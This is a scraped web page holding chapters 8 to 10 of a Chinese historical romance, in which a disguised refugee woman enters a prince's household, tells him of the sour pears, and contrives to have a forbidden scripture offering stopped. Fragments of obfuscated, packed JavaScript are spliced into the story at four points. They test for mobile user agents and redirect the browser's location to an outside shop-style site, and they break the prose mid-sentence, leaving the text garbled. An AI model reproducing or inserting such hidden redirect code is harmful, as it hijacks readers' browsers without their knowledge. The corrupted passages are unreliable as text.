l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14425956|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勾起唇角,不掩眸中勃发的兴致:“到底是刻意训练,还是不谋而合,把她放在身边,便能知晓。” “殿下……”陶羽还想说什么,却见颖王淡淡睨他一眼。他无奈叹息:“属下会尽快查清此女来历。” 严义也叹气。 行吧,那位娘子要是真对主公不利,出了什么问题,便是他失职。既然主公执意要她进府,他得吩咐下去,让宿卫把她盯紧些。 —— 顾雁坐在马车中,看着窗外摇晃的卫字木牌出神。快到南市时,她忽然对驾车侍从说道:“有劳驶到百戏馆,停在正门外。” 临近傍晚,戏馆将要开门营业,外面仍排着蜿蜒长队,还有不少人正陆续赶来。卫府马车徐徐前行,人群接连避让,直到马车停在戏馆大门外。 无数目光纷纷投来,或惊异,或好奇。那个收租的刘管事也在。他惊愕万分地看见,下车之人竟是容娘。她一手拿着盛梨的瓷盘,一手提裙上阶,路过他身旁时,连半个眼神都没看来。四周议论不绝,直到她进入后院,嘈杂声才被院墙隔绝在外。 呼……顾雁终于松了口气。 她很不习惯被这么多人盯着看,但这次没办法,是为戏馆有意而为之。 “容娘回来啦!”张娘子从房中疾步出门。 顾雁迎上前说道:“外面的人都看见我坐卫府马车过来。明日刘管事再来,应该不会再为难你们了。” 张月喜出望外,连连道谢。两人互通了方才的经历,顾雁省去她对颖王拔簪一节,只说颖王明日要她进府,这盘梨也是颖王给的,她不爱吃梨,都给你吃。 “容娘啊容娘,”张月接过瓷盘,转着圈打量顾雁,“你比我以为的更聪慧,眼看就飞上枝头了!” 就知道她准误会了,顾雁无奈:“你想哪去了。我只去做个写文侍墨的婢子。” 一想到以后要侍奉卫贼,就浑身难受。 但转念一想,把他当成一把趁手的刀,割到想要的果实也无妨。 就像方才,没有严都尉,借一辆挂着卫字牌的马车,也可以为戏馆撑腰。 “乱世浮萍,尽力活着罢了。”顾雁温婉柔美的眼眸里,尽是勇决之色。 张月弯起眼,拖着顾雁走到屋里。她放下瓷盘,回头看外面无人,又关起屋门,压低声音说道:“我比你虚长十多岁,唤你一声妹妹。阿姊有几句话,想来想去,还得与你说。” 顾雁心知张娘子方才在玩笑,这会要说正经话了,便摆出洗耳恭听的神情:“阿姊请说。” “近来两日,你都坐卫府马车出入南市,被无数人亲眼目睹。消息很快会传遍梁城,卫府车驾送一个……”张月有些迟疑,但仍说了出来,“流民女子。” 流民一向被瞧不起。 顾雁并不在意,点头道:“我明白,是有些招摇。” “颖王对你青眼相待,本是好事。偏偏在这当头,你被颖王如此张扬地召进府里,不知会被多少人盯上。”张月忽然担忧。 “这当头?”顾雁敏锐察觉到这个词。 8. 进府 “你可知,颖王没有正室夫人,身边连个伺候的姬妾也没有。”张月见顾雁不解,开始解释。 “为何?”顾雁讶然。这在公卿王侯之中并不常见,兄长十六岁就娶了嫂嫂,姬妾也有六个。 “那就要说起六年前,颖王十七岁时,那会还是卫三公子,他同胞长兄才是世子,却战死在雍州。他扶棺回来不到两月,母亲高夫人就病逝了。他骤然丧兄,又守母孝,便拖延了亲事。谁知到了三年前,先王从江州回来后又生了病。” 三年前……顾雁是清楚的。 先颖王率军南下,江州倾力抵御住了进攻。先颖王败退到涧邑时,突发重病,遂就地驻兵。就是那时,传闻二十岁的卫柏杀兄逼父,夺了王位。 然后他休整一年,竟亲自带兵再次攻打江州。有了前次胜利,兄长本有信心。谁知大战前夕,边境防线四个据点守将,竟有两个忽然投奔了颖军! 防线顷刻崩塌,颖军直取江州治所。临江侯府得到消息时,颖军已在五十里外了,她才被母亲匆匆送走…… 顾雁深吸一口气,在袖中揪住手指,又才收回神游心思,继续听张月说话。 “先王一死,颖王说要尽孝,又把亲事拖下来,到现在还没纳过一位夫人。眼看孝期马上结束,多少世家都盯着王府后宅呢。颖王从没说过属意哪家女郎,但坊间传闻,颖王八成要娶程氏女。” “程氏女?” “就是尚书仆射程儒之女。他为卫家立过汗马功劳嘛,听说先王还口头许过儿女亲家呢。但这当头,颖王却突然召你进府。一名侍婢,何至于每日车接车送?咱背后没有世家高门,妹妹进府后定会被紧盯,所以千万要谨慎。” 顾雁越发讶异,不是因为颖王,而是因为张娘子:“阿姊经营戏馆,竟知道这么多士族公卿的传闻。” 张月神秘一笑:“每日迎来送往,眼观六路耳听八方,或许就能赚到什么门路。” 顾雁心念一动。张娘子消息灵通,说不定知道亲人下落呢! 与张娘子相识三个多月,只知她原有个丈夫,夫妻都是伶人,带着族人流浪卖艺。后来丈夫病逝,两人也没育下一儿半女。她一个寡妇把队伍带到梁城,租了馆舍安定下来,把营生越做越大。 得知张娘子经历时,顾雁便生出了几分佩服。但之前毕竟不熟,不敢言深。这会她终于忍不住问道:“那阿姊可知……梁城可有其他江州人?” “江州人……”张月想了想,“以前四处卖艺时,见到不少北上屯田的江州流民。至于梁城嘛……好像也有几个江州籍官员……但阿姊哪能认识他们……”她不好意思地一笑。 “那、那以前的临江侯战败被俘后,亲眷应被押到梁城来了吧?”心脏突突直跳,顾雁小心翼翼地问,“阿姊可知道……那些江州人的消息?” “被俘的临江侯?”张月凝神思索半晌,又摇头,“那是两年前的事吧,我来梁城才一年多,平时街坊也没人聊临江侯,阿姊确实不知。” 顾雁失望地吁了口气,之前她也如此旁敲侧击地问过书肆管事,也是什么都没问出来。梁城人没听过临江侯被处决,也没听过他被改封什么官职爵位。那么母亲和兄长很有可能,被囚禁在什么地方,或者被流放他处。 最差的结果,就是被秘密处……她不愿想,只要心怀希望,便觉得日子还有盼头。 张月轻拍顾雁的手:“妹妹可是担心,在王府孤身一人会受欺负?刚巧,阿姊有个同乡在颖王府里做事。我给她递个信,以后你们就能互相拂照了。妹妹心善,玄阳天君定会佑你平安。” “多谢阿姊。”顾雁莞尔。虽然接近颖王只是权宜之计,但张月的关心仍令她感动。萍水相逢,真真假假。偶尔碰到一席肺腑之言,不管是否认同,也足够慰藉一颗漂泊的心了。 天色渐晚,两人又同榻入眠,一直聊到深夜。 —— 第二日午后,顾雁坐上了卫府接她的马车。 颖王府紧邻城北皇宫。马车驶入王府侧门,停在一个小院里。顾雁下车时,院中已有一名发髻斑白的老媪等候。仆从自去牵马,老媪上下打量了顾雁一番:“老身是宋夫人院里的王媪,随我来吧。” 顾雁抱着包袱,安静跟随在后。那根桂枝不好拿,她丢在了戏馆后院。 王媪在前念叨:“虽然你是进西园侍奉的,但也得先拜见宋夫人,再行安置。” 西园是颖王所居之地。听王媪口气,在王府里,西园应与后宅其他地方不一样。 顾雁颔首:“我明白。” “今日起,你是王府侍婢。在殿下和宋夫人面前,别我啊我的没点恭敬,得自称奴婢!” “哦。” 王媪摇头,懒得再说。 顾雁正好不用敷衍答话,自顾琢磨起来。 之前听张月说,卫柏的母亲高夫人,是先王发迹前的结发妻,六年前去世了。如今打理王府后宅的宋夫人,是先王最宠爱的姬妾,也是卫柏次兄的生母。 先颖王起兵剿寇时,只是个屯骑校尉,也曾败亡至穷途末路。是宋夫人娘家——登县宋氏——散尽家财资助,才帮先王绝境逢生,后又扶摇直上,从偏将军做到大将军,又从颖侯做到颖王。 齐帝姓姜,而先王姓卫,至此位极人臣,封无可封。 因这份恩情,先王一直对宋夫人格外爱重,宋氏子弟也成了颖王麾下肱骨。先王病逝后,卫柏也对宋夫人礼敬有加。 至于先王其他姬妾,都被卫柏放出去改嫁了。不愿改嫁的,若有已成年的儿子,便出府与子同住。还剩下两三位要么没依靠,要么不愿改嫁,便留在后宅奉养,以宋夫人为尊。 张月知道的真多……也不知宋夫人性情如何,她唯一的儿子被卫柏所杀,王府后宅又是否安宁呢……顾雁想到这,转念又想,管它的,她来探母兄下落,其它的都与她不相干。 如此一路跟随王媪前行,她暗中留意王府布局,方便以后查探。这次她们只沿院墙外的石板巷道前行,路上皆是仆婢往来,不见园林景致。 走着走着,顾雁忽然发觉,有人一直远远跟在后面。 起初还道是其他侍从。半晌后她突然回头,那人往旁一闪,避开她的视线。只一个闪身,顾雁就已看清,那人竟是一名宿卫。看来卫贼仍不放心,还在派宿卫盯她。只是这般被监视着,她就不方便了…… 顾雁正琢磨,王媪已带她来到王府东北边一座庭院外。 一阵香气幽幽传来,是祠观里常见的沉香。随着她们踏入院中,香气越发浓重。院中草木繁盛,黄绿斑斓的枝叶掩映屋檐。阳光慵慵倾洒,在地上铺开斑驳的影子。 她与王媪等在院里。一名中年妇人推门出来,对她们说道:“夫人已午睡歇下了。” 顾雁暗地松了口气。 却听妇人又道:“夫人听说,殿下在文会上看中一名佣书女,不仅折桂相送,还召入西园侍墨。想来容娘子的书法极好。夫人近来斋戒诵经,专心准备三日后的先王忌日祭礼。届时在陵前供奉的《无量玄阳经》,便交给容娘子手抄吧。两日后酉时,你把抄好的经书呈来。期间见礼,皆可免了。” 顾雁愕然。以前在江州,她跟娘亲去过玄阳祠,知道《无量玄阳经》,可为先人祈福,为后辈消灾。 如今世道艰难,百姓将希望寄托神明,几乎人人信奉玄阳天君。许多人都吃不饱,也要给玄阳祠上贡。于是便有匪寇,打着玄阳天君的旗号诓骗抢掠,各地官府屡禁不绝。有的还闹得很大,父亲便是因此而死。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14425957|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 近年颖王颁令严禁民间私祭,试图堵住源头。没想到,宋夫人也如此信奉玄阳天君。 好家伙,《无量玄阳经》全本六卷,共七万多字,要她两日抄完?! 岂非要不眠不休,手腕累断?! 见她迟迟不应,妇人蹙起眉:“怎么?” 看来她一进府,宋夫人便要试她是否恭顺。若她咬牙完成了,便知道她容易拿捏。 真烦…… 顾雁斟酌着词句:“官府明令禁止私祭玄阳,我怕……” “宋夫人在先王祭礼上奉经,那叫私祭吗?”妇人面色阴沉,不耐烦地打断,“看来容娘子不愿抄经,老身这就回禀夫人。” 顾雁忍住直冲头顶的烦躁:“请留步。” 罢了,先走一步看一步,也不能进府第一天就跟宋夫人吵架。 她盈盈一礼:“奴婢愿为夫人分忧。” 妇人脸色稍霁:“那就好。来人,把经书拿来。”她抬手一挥,便有婢子捧来六册经书,空白卷轴和笔墨,递给顾雁。 “带容娘下去安置吧。”妇人淡淡说罢,转身进了里屋。 庭院恢复了幽静。 顾雁嫌弃地捧着这堆东西,跟王媪来到西园的仆役寝舍,被移交给了仆役管事。 身为西园第一个侍墨娘子,顾雁被安排住进一个单间寝舍,领了衣裳和笔墨纸砚。管事与她签下身契,开始嘱咐西园的规矩。 譬如什么,颖王喜爱看书和练剑,届时决不能发出声音,打扰殿下。 又譬如,颖王自幼随先王征战,生活俭朴,一些小事都亲力亲为,所以当值侍从一般不超过两人…… 顾雁认真听着,不禁在心里质疑。 这套她在书上见多了,世家贵族装模作样,搏个勤俭名声,好教天子看重,百姓敬佩,然后关起门,把一餐四十个菜削至二十个,殊不知百姓连稀汤都喝不饱。他卫贼真要俭朴,还住这么大个园子作甚?一张木板就可以睡觉。 管事又道,她需在颖王回府前,备好书阁纸墨,燃香擦案,整理书架等等。剩下的时间,完成颖王要的文稿即可。 听起来,比在书肆轻松一些。也罢,就当换了处地方做工,把卫贼看成讨厌的东家,且天天敷衍着。只是,怎么先把宋夫人这关过去呢…… 顾雁正想着,忽有侍从来报,说颖王已回府。管事忙催她换好衣裳,去书阁准备。 西园书阁就是上次那间临池轩阁。 顾雁匆匆赶到门外时,卫柏刚好走到石径尽头。 “拜见殿下。”顾雁和侍从、宿卫一起低头行礼,便未发觉,卫柏的目光一直停在她身上。他跨步进门时,忽然说道:“你也进来。” 等卫柏进了门,顾雁还躬身不动。片刻后,一名侍从靠近轻语:“殿下唤你进去。”她才反应过来,卫贼是在对自己说话。 “啊,是。”顾雁连忙进屋,见卫柏正在屏风后换衣。透过青纱,隐约可见他的颀长身影,屏风上搭着要换的衣服,仍是昨日那件月白色深衣。 卫贼竟然亲自换衣? 顾雁想起兄长,也从小跟随父亲征战。但兄长坐镇江州后,仆婢排场就比卫贼大多了。至少身上的衣服,他从不会亲自换。对她这唯一的妹妹也十分宠溺,她穿过的衣裳,第二日都用不着再穿。 卫柏换衣扶簪,整理完毕,转身走出屏风,见容娘怔怔看着自己。而他望过去,她又赶紧垂头,匆匆进入内室,坐在案边研起墨。 她侧身而坐,夕阳余晖自窗外倾洒而下,在她侧脸边缘映出一层薄薄的金色光晕。她坐在光里,浑似天人下凡。卫柏一时怔住,忽然想起曾见过的一幅神女画像。 然而纸上神女不会呼吸,远不如凝神研墨的眼前人。 9. 酸梨 刚想了一瞬,卫柏惊觉回神。 江州流民,侍墨婢子,不过能说会道而已,何况她还别有用心,他何至于就想起了画上神女? 他暗自失笑,恢复了平淡面色,坐到书案旁。 顾雁一直安静地研墨。 卫柏忽问:“为何不与松枝同研?” 她应道:“殿下所用的墨,本就由松枝燃烟制成,纸上色泽浓黑细腻,不需要再与松枝同研。再添松脂,反而过于油腻。” 说着,顾雁忽然意识到,墨块没刻名称,墨汁也尚在瓷砚中,若非常年接触,很难一眼认出这是松烟墨。她又补充:“都是鄢老夫人教过的。” “鄢老夫人当真教得仔细。”卫柏幽幽说着,看向她的手。肌肤微微粗糙,指腹隐有硬茧,确实是一双流民的手。 但她所知渊博,文采灿然,见解深刻,虽然说话刻意保持恭敬,但行止难掩不卑不亢的气度。面对自己,也毫无一般奴婢的怯懦之意。虽然她的说辞听来没有疏漏,可他总直觉不对劲。 顾雁心中暗暗咯噔。 又来了,卫贼的审视。 他每次沉默地看她,她就紧张,心跳就不禁加速。 行吧,从现在开始,定要谨慎谨慎再谨慎!她低头再不言语,只加快了研墨速度。 终于,一汪浓黑的墨汁研好。顾雁松了口气,起身回坐,在案下垂手,悄然揉着酸痛的手腕。这两年日日起早贪黑,伏案抄书,落下一身毛病。腰易疼,手腕也易疼。 她的微小动作和表情,皆落入卫柏眼中。朝着她的方向,他轻轻一推案上瓷盘,里面是切好的梨瓣。然而她看了眼瓷盘,又像没看到一般,继续恭坐垂首。 卫柏有点恼,他的意思难道不明显?昨日不是说过,梨有很多,今日可以再吃。 “可以吃。”他特地补充。 顾雁眼睫一颤。迟疑一瞬后,她俯首应道:“此梨为殿下所用,奴婢惶恐,不敢领受。” 卫柏的声音冷了几分:“你没有惶恐。” 他顿了顿,又道:“而是嫌弃。” “奴婢绝无此意。”顾雁依然恭敬。 卫柏冷嗤:“人心所想,不在嘴上,而在眼里。你眼睛早已告诉孤,你犹豫、嫌弃,又何必欲盖弥彰?” 又想起昨日侍从所报,他恍然:“怪不得就吃一口。孤所赠之梨,就让你这般嫌弃?”他声音愈来愈冷。 顾雁抿了抿唇,没有说话。 这厮洞察入微,实在不好糊弄…… 她不说话,他便一直等,很有耐心。 看来她不应出个子丑寅卯,这问题就过不去了。 顾雁只好叹气:“奴婢没有嫌弃殿下的梨。” 卫柏眸中霜色稍减,但还是浑身冒着凉气。 “殿下可还记得,奴婢说,曾在汝平遇见一对抱着死婴的夫妻。”顾雁的眼眶忽然泛红,“他们曾经赠我青梨,救我性命……”酸涩涌入心头,她揪紧手指,深深吸气,以至于忘了敷衍地自称奴婢。 顾雁垂着双眸,眼尾越来越红,细羽般的睫毛渐渐挂起一颗泪。她忙抬手拭去,匆匆看向卫柏。他微微一讶,目光旋即柔得化作和风:“将汝平之事,详告于孤。” 顾雁方才的话并非敷衍。她心绪翻覆着,压下略微急促的呼吸。两年前,北上途中的那个傍晚,她至今能想起每个细节。 一场持续数日的寒雨结束后,一直在野外避雨的她又冷又饿,可四周荒野绵延,举目皆是杂草荒林,她只能在泥泞路上咬牙前行,看能找到什么吃食。正当她摇摇晃晃,几欲倒下时,竟见前方出现一座茅草屋。 她拼尽力气,蹒跚挪步到草屋附近,瞧见一对年轻夫妻坐在屋檐下,正抱着一个婴孩垂泣。隔着篱笆,她见屋旁长着一棵梨树,上面结着许多青梨。 她顿时口齿生津,凭空生出一丝力气,更觉肚皮贴紧后背,饿得腹中作疼。她抿着干涩的唇,想进门讨梨吃。 妇人看见篱外的她,抹去泪珠,走上前询问。得知她来意后,妇人让她进了篱门:“它来自山上一株野梨树,只能结酸涩的青梨。娘子若不嫌弃,可随意吃,不必付钱。” 顾雁哪顾得上许多,自是千恩万谢。妇人帮她摘下梨,顾雁拿起就咬了一大口。虽然汁水丰沛,却酸得整张脸紧皱一团,眼里淌出泪来,又涩得舌尖发麻,像嚼着一抔渣土。 而她终于感觉活过来了,如此一边酸得止不住泪,一边接连吃了好几个梨。到最后,她不好意思地抬头,见妇人正温和地看着自己。 顾雁睹见那男人怀中孩子脸色铁青,像得了重病,她忙翻出身上铜板塞给妇人:“给孩子治病。”她随身金玉首饰,分了一些给仆婢,又一路换了盘缠,等万分谨慎地走到汝平郡,只剩二十七枚铜板了。 妇人摇头:“多谢娘子好意。但不必了,我儿已经……”她落下泪,“我家给玄阳祠上贡太少,定是被天君怪罪了。” 顾雁又才知晓,他们是汝平郡屯田民,孩子病了多日,家里实在没余粮换钱请大夫,只好抠出一些去玄阳祠上贡,祈求孩子康复。一家三口每日熬薄粥果腹,再饿,就只能吃酸梨。到今日下午,孩子终于支撑不住了。 妇人得知顾雁想去梁城,便留她歇息一夜。她亦帮夫妻俩在宅边葬好孩子。 第二日清早,顾雁起身时,妇人已熬好稀粥,为她留了一碗,还摘好二十个梨:“娘子带在路上果腹吧,幸好这时节还有酸梨。愿玄阳天君佑你顺利走到梁城。” 顾雁感激万分,却又心情复杂。临走前,她本想放下十枚铜板。谁料妇人瞧见了,说什么都不收,硬是塞回给她。顾雁只好在出门时,悄悄把铜板落在梨树下。 就这样,她靠着酸梨又走了几日,终于走到了梁城。 “酸梨之味,我永生难忘。”顾雁缓缓道来,但改说成在汝平逃离人牙子,逃命时遇到那对夫妻,又得他们指点才来梁城做工。“故而一见梨,酸梨之味顷刻回涌口中,就会想起他们。” 卫柏倚着凭几,静静听她说完,自顾思索:“看来还得严禁私祭。” 顾雁忍不住道:“他们走投无路,才寄最后希望于玄阳祠。这就得请教殿下,官府既有屯田良策,为何他们却无余粮求医,还要靠酸梨饱腹?”她声音温婉,却字字千钧。 卫柏望着她,许久,他垂下眼帘:“孤也想知道。” 顺着他的目光,顾雁睹见案上放着一道卷轴。今日卫贼回府时就拿着它。此刻离得近,她看清卷轴外贴着一张纸条,写着:隆德八年汝平郡粮账。 两年前的汝平郡粮账……卫贼已经在看了?! 卫柏眸色愈发凌厉:“可惜账上看不出来。” 只用一日,他都把粮账看完了?! 顾雁本来没指望卫柏会回答,毕竟他是颖王。 兄长就不会亲自过问某一郡粮账,自有下属过问,他只知道江州风调雨顺、仓廪丰实。后来北上时,她才听说那两个将军投降,是因为粮草供应盘剥拖延,江州明明不缺粮,前线要粮却很受气,这些事兄长都不知道。 如果兄长更洞察入微一些……江州会不会就能保住…… 心情忽然很复杂。 不过,汝平郡紧邻梁城,卫贼也不知道汝平的屯田民饿肚子,看来也好不到哪去。她看着盘中晶莹的梨瓣,叹了口气。 “它辛苦长了六年,才第一次结果,若被美人见之叹气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14425958|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤神,定会难过。” 卫柏温和的声音把顾雁拉回眼前。 美人这种话,他倒说得顺口……顾雁顿时不太自在:“梨也会难过?” “以花迎春风,落叶对秋霜,它当然也会欢喜,也会难过。” 顾雁想起来,昨日侍从说,这是六年前颖王亲自种的梨树,怪不得他这般上心……她淡淡一笑:“殿下不像种梨,倒像交友。” 卫柏一怔,继而弯眼:“它一直是孤的梨友。” 顾雁连忙转眸避开。 卫贼一笑,实在灼眼。 之前抄书时,她见有人写诗赞颂颖王——神仙佳公子,濯濯世无双。清姿流月辉,气宇耀日光——当时她恶心坏了,如今见到卫贼本人,她只好承认,诗写得也有一定道理。 卫贼周围有无数谄媚之人,他却与一棵梨树为友,有点意思……顾雁一个激灵。 她见卫贼才三日啊! 前日在木樨阁,见他时满心愤恨,但因被冤枉,她只顾自救。昨日在西园池塘旁,她甚至想刺杀他。今日……竟觉得他有点意思…… 不行! 她心中警钟大响,暗中狠掐一把手背。对窃国之贼,要时刻保持警惕! 好在这时,侍从送来一堆奏疏,卫柏认真看起来,拿笔批复,时而盖印。今日陶羽和严义都不在。于是她跪坐在旁研墨。屋里安静下来,他没再让她吃梨。 偶尔,顾雁眼角余光瞄到,有的奏疏落款是一些地方官员。不过她偷瞄的动作不能太大,以免引起卫贼察觉。还是等摸清门道,再找机会在书阁好好搜查一番……如此思索着,顾雁拎着衣袖,手在研墨,神飞天外。 “出去。”卫柏忽然烦躁又冷漠地说道。他盯着文书,也没看她。 顾雁一愣,颔首应是,起身后退。 她暗暗翻了个白眼,对卫柏的半分好奇烟消云散。呵,喜怒无常的卫贼,还是应该一簪捅死了去! 见容娘退了出去,卫柏瞥了眼房门,轻轻舒了口气。 方才她在旁研磨,撩起衣袖,翘指如兰,半露皓腕。她坐在木案角落,他却总忍不住用余光注意。她捏住墨块轻轻移动,砚上细微的沙沙声钻入耳中,在心头反复挠划,让他愈发难以沉心去看奏疏。 卫柏闭上眼,狠狠揉搓眉心,难消心头烦躁之意。 “殿下不像种梨,倒像交友。”她浅浅一笑,说出连陶羽和严义都不知晓的隐秘。 小时候,母亲在老家宅边种了许多梨树,他曾和兄长一起负责照看。 六年前他们去世后,他便在王府小院里种下一棵梨树。 就算三年前他搬到了西园,也会偶尔去看看那棵梨树,默然相对许久。树叶随风摇摆,沙沙作响,仿佛在悉心叮咛。梨花簇簇如雪,他总是恍惚觉得,他们还在树下看花。 几度春秋,梨树愈发挺拔,愈像一名不能言语的老友。 他从未对第二个人说过这番心情。 卫柏睁开眼,盯着她研的墨汁。 这几年,常有官员或士族,拐弯抹角地给他送女人。他很不喜欢卧榻之侧躺着别有用心之人,回绝了无数次。如果她在刻意接近自己,那她所做的每一步都很成功。 从没有人这么成功。 她的话语,像一颗颗投进心湖深处的石子,总能激起难平的涟漪。 本打算放任她接近,以看出更多端倪,今日却差点被她弄得心神不宁。 不过,她好像在有意引他注意汝平……从戏文到酸梨,一番动作,都情真意切。若她背后当真有人指使,又会是谁呢? 卫柏捏着手,清晰的筋骨在手背起伏。他重新冷静下来的眼神,锐利如宝剑寒芒。 10. 借刀 顾雁退出书阁,与另一名侍从安静守在门外。 秋风阵阵,树林枝叶摇曳,池塘波光起伏。周围不时有宿卫巡查,他们却没发出任何脚步声,可见训练有素。 站得百无聊赖之际,她想起来,方才草草瞄到一封简州牧的奏疏,呈报今年拆除了八座玄阳祠……顾雁忽然一个激灵,想到如何解决宋夫人的经书了! 想不受制于人,便要先发制人! 地方州郡正在执行私祭禁令,宋夫人公然奉经,便是在打禁令的脸。卫柏不管后宅,不知道宋夫人要奉经。得让他去阻止,她自然就不用抄经了。毕竟这厮是一把趁手的刀。 那怎么让他知晓呢……她主动去说,定又会被他审视,还显得在挑拨他和宋夫人的关系……不太妥…… 一个主意渐渐成形,但眼下值守不能随意走动,她只好忍耐着。终于熬到其他侍从来换值,顾雁忙不迭奔回房,摆出笔墨,开始抄写《无量玄阳经》。 “无量玄阳,四方咸服。天地昭昭,兹佑太平……” 门口“咚咚”声响。 顾雁起身开门。外面是个十七八岁的陌生女子,腼腆问道:“你可是容娘?” “嗯。你是……” “我叫石榴,与月姑姑是同乡。”女子的圆脸红扑扑,羞涩一笑,漾起两个梨涡。 顾雁想起来,张娘子说有个同乡,以后可以互相拂照。这个张月,信递得还挺快。“快进来坐。” 一番交谈后得知,石榴是王府后宅的洒扫婢子,平时受王媪管束。她父母早逝,和张月是远亲,算辈分得叫声姑姑。今日接到传信,特意过来寻容娘说话。 石榴瞧见案上铺开的经书:“你在抄书?我妨碍你做事了吧?” “不妨不妨,”顾雁又解释了抄经一事。 石榴担忧道:“抄得完吗?要不我帮你,只是……我只认识几个字,只怕抄得不好。” “那倒不必,”顾雁咬了咬唇,“不过,我确实想请教一事。” —— 第二日下午,顾雁捧着一道卷轴,匆匆走在西园偏僻处的溪流岸边。 仍有宿卫远远在暗处盯梢,她在书阁做完活,特意赶在颖王回府前退了出去,回寝舍去拿抄好的《无量玄阳经》前两卷。 昨日她已朝石榴打听过,颖王回府后,严义通常会去宿卫值守房巡视一圈。前方不远的一架石桥是他过去的必经之路。 她打算“巧遇”严义,闲聊几句,不经意透露宋夫人奉经一事。以严义对颖王的忠心,定会向其转告。思来想去,他最适合当这个“告状人”。 结果她正出门时,碰见了仆役管事,先问她去哪里,又问她书架洒扫了没有,笔墨准备了没有,地板擦净了没有……她耐心答了。他又嘱咐她不可敷衍,谨记规矩……顾雁心急如焚,好不容易捱走了管事,便赶紧朝石桥赶来。 这一来便有些晚了。碰不到严义,这番计划就不顶用了。 顾雁匆匆踏上石桥。刚上桥顶,她一眼看见,前方蜿蜒小路深处,严都尉的高壮背影掩映在树影间。 太好了! 她三步并作两步地迈下石阶,“严都……啊!”刚唤出声,她忽然脚底打滑,身子猛地失去平衡,她迅速攀住手边的石桥栏杆,才堪堪稳住没有摔倒。 桥上石阶常年被踩踏,十分光滑,她走得太快不曾注意。 刹那间,一股钝痛从后腰袭来,蔓至四肢全身。她手腕一时脱力,“扑通”一声,卷轴落入桥下溪水中。 “嘶……”顾雁缓了缓,竭力伸头望向桥下,眼看卷轴随水流走,在一堆水草中跌跌撞撞,最后卡进一个石缝。但就这么轻轻一动,她便觉腰骨似要裂开,只好全身僵硬紧绷,仿佛被定住一般,攀住桥栏咬牙忍耐着。 一阵急切脚步奔到近前。 “容娘子?”严义惊讶问道,“还好么?什么掉进水里了?” 很好,成功遇到了严义,虽与设想过程略有区别…… 顾雁忍痛背出准备好的说辞:“是宋夫人令我抄的,在先王祭礼上供奉的《无量玄阳经》……我抄好两卷,想请夫人先看看能否得用……只是方才不小心,让经书掉进了水里……” 最后一句是临时加的。 “啊?”严义纳闷,“好端端地,经书怎就掉下去了?” 顾雁羞愧地将头埋向栏杆,开始临时发挥:“这下糟了,经书都打湿了……玄阳天君在上,千万莫怪罪于我……宋夫人本是虔诚供奉的,都是我不小心……” 话是编的,但惆怅无奈的心情真真切切。 虽然她只是在惆怅,腰伤反复发作,真真碍事。 正说着,又一阵脚步声缓缓走近。 “把经书捡上来。” 是卫柏! “是,”即刻有人翻身下水。 顾雁愕然回头。 果然是卫柏! 今日他一身束袖劲装,手扶腰间长剑,端的是英姿勃发。他走过严义和另一名侍从,来到她面前。 他怎么也在啊! “见过殿下。”顾雁心头懊丧。宁愿没碰到严义,也不想碰到卫贼! 见她总是攀着栏杆不动,卫柏目露疑惑。 又来了,这种审视目光……顾雁眼前一黑。 她的姿势很尴尬,脚踩石阶,身体后倾,只靠双手死死抓着石桥栏杆,才没倒地。她尴尬得只想一走了之,无奈后腰僵疼,动弹不得。而且她右手腕也有筋痹旧症,本就有些不舒服。 酸痛开始蔓延,她手指松动,再攀不住栏杆。眼看她就要倒地。说时迟那时快,卫柏一个箭步上前,伸手托住了她。 他手劲很大,单手便稳稳托住了她的背,将她揽入怀中。他身上淡香飘进鼻尖,与书阁里的香气一样。顾雁腰疼得没法自己站,只得倚靠着他立于桥上。 “受伤了?”卫柏轻轻挑眉。 严义的表情顿时很复杂。 “嗯,”顾雁闷闷应道。 这下倒好,不止卫贼,连严义都觉得,她在用拙劣的方式演戏接近颖王。 虽然她恨不得立刻远离,但稍稍一动腰就疼得厉害。她只好心如死灰地闭上眼,任他抱着。罢了,就当靠着一根木桩。 可卫贼不是木桩。 他身材高大,身体温热。靠在他胸前,还能听到他沉稳有力的心跳,感触到他衣裳下坚实的肌肉。 “殿下,经书捡到了。”下水的侍从翻身上岸。 “还给容娘。” 侍从递来还在滴水的卷轴。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14425959|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢谢,”顾雁睁开眼迅速接过,紧紧攥在手中,又重新闭上眼。 卫柏想了想,又道:“去北院传令,先王祭礼上不得供奉《无量玄阳经》,不必令人再抄。另外,请宋夫人想用西园的人时,提前与孤知会一声。” 侍从应声而去。 